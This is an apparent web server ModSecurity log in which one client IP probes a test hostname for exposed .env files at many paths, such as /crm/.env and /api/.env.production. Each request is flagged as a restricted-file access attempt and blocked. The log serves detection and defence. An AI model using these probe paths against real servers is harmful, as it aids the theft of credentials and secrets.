[Sat Nov 29 02:43:13.917188 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdBAAAAAI&quot;]
[Sat Nov 29 02:43:13.917461 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdBAAAAAI&quot;]
[Sat Nov 29 02:43:13.939130 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdBQAAAAI&quot;]
[Sat Nov 29 02:43:13.939394 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdBQAAAAI&quot;]
[Sat Nov 29 02:43:13.939600 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdBQAAAAI&quot;]
[Sat Nov 29 02:43:16.557452 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKsAAAAAM&quot;]
[Sat Nov 29 02:43:16.557724 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKsAAAAAM&quot;]
[Sat Nov 29 02:43:16.557935 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKsAAAAAM&quot;]
[Sat Nov 29 02:43:16.582332 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKsQAAAAM&quot;]
[Sat Nov 29 02:43:16.582612 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKsQAAAAM&quot;]
[Sat Nov 29 02:43:16.582823 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKsQAAAAM&quot;]
[Sat Nov 29 02:43:16.605013 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKsgAAAAM&quot;]
[Sat Nov 29 02:43:16.605264 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKsgAAAAM&quot;]
[Sat Nov 29 02:43:16.605472 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKsgAAAAM&quot;]
[Sat Nov 29 02:43:16.627008 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKswAAAAM&quot;]
[Sat Nov 29 02:43:16.627256 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKswAAAAM&quot;]
[Sat Nov 29 02:43:16.627463 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKswAAAAM&quot;]
[Sat Nov 29 02:43:16.648835 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtAAAAAM&quot;]
[Sat Nov 29 02:43:16.649095 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtAAAAAM&quot;]
[Sat Nov 29 02:43:16.649305 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtAAAAAM&quot;]
[Sat Nov 29 02:43:16.673511 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtQAAAAM&quot;]
[Sat Nov 29 02:43:16.673786 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtQAAAAM&quot;]
[Sat Nov 29 02:43:16.674013 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtQAAAAM&quot;]
[Sat Nov 29 02:43:16.697206 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtgAAAAM&quot;]
[Sat Nov 29 02:43:16.697457 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtgAAAAM&quot;]
[Sat Nov 29 02:43:16.697670 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtgAAAAM&quot;]
[Sat Nov 29 02:43:16.719369 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtwAAAAM&quot;]
[Sat Nov 29 02:43:16.719618 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtwAAAAM&quot;]
[Sat Nov 29 02:43:16.719820 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKtwAAAAM&quot;]
[Sat Nov 29 02:43:16.741329 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKuAAAAAM&quot;]
[Sat Nov 29 02:43:16.741593 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKuAAAAAM&quot;]
[Sat Nov 29 02:43:16.741813 2025] [:error] [pid 395881] [client 195.178.110.155:50418] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aSpPtLVL27gtiM4DUrnKuAAAAAM&quot;]
[Sat Nov 29 02:44:01.289365 2025] [:error] [pid 395860] [client 195.178.110.155:55548] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.production&quot;] [unique_id &quot;aSpP4WGVbW32jAuRdZj-QQAAAAY&quot;]
